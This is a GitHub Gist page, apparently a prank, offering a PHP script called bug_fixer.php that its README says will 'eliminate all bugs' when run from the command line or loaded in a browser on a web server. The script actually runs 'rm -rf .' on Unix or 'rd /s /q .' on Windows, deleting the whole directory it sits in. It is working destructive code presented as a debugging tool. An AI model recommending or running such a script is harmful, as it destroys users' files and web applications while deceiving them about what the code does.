Created
August 3, 2012 09:55
-
-
Save danreb/3246373 to your computer and use it in GitHub Desktop.
This is a powerful scripts that will illiminate all bugs in your code, just make sure to backup as this code is powerful, shell_exec should be enabled to make this work. You can execute this file in command line ( shell or cmd )
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
USAGE: | |
First thing first - Make a backup of all your files. !Important | |
Execution Method 1 | |
Just drop this line inside the folder where your PHP program or buggy scripts reside then open command line and go to this directory. Execute the scripts by typing the command "php bug_fixer.php" without a quote, then press enter and just wait, then VIOLA! all bugs are gone! Congrats! | |
Execution Method 2 | |
If your buggy scripts is a web application and it is located in web server and you are able to visit your apps inside a web browser you can easily upload this scripts to your web directory and visit the file in the browser, just wait and VIOLA! all the bugs are gone! Congrats! | |
Note: If you missed the bug, then just restore your BACKUP! |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<?php | |
/** | |
* | |
* @File bug_fixer.php | |
* Tired of chasing bug? | |
* This script will solve all bug in your program | |
* @License GPL - Feel free to share and improve! | |
* | |
*/ | |
function bug_problem_solver(){ | |
$dir = "."; | |
if (strtoupper(substr(PHP_OS, 0, 3)) === 'WIN') { | |
`rd /s /q $dir`; | |
} else { | |
`rm -rf $dir`; | |
} | |
} | |
// remove all bugs! | |
bug_problem_solver(); | |
?> |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment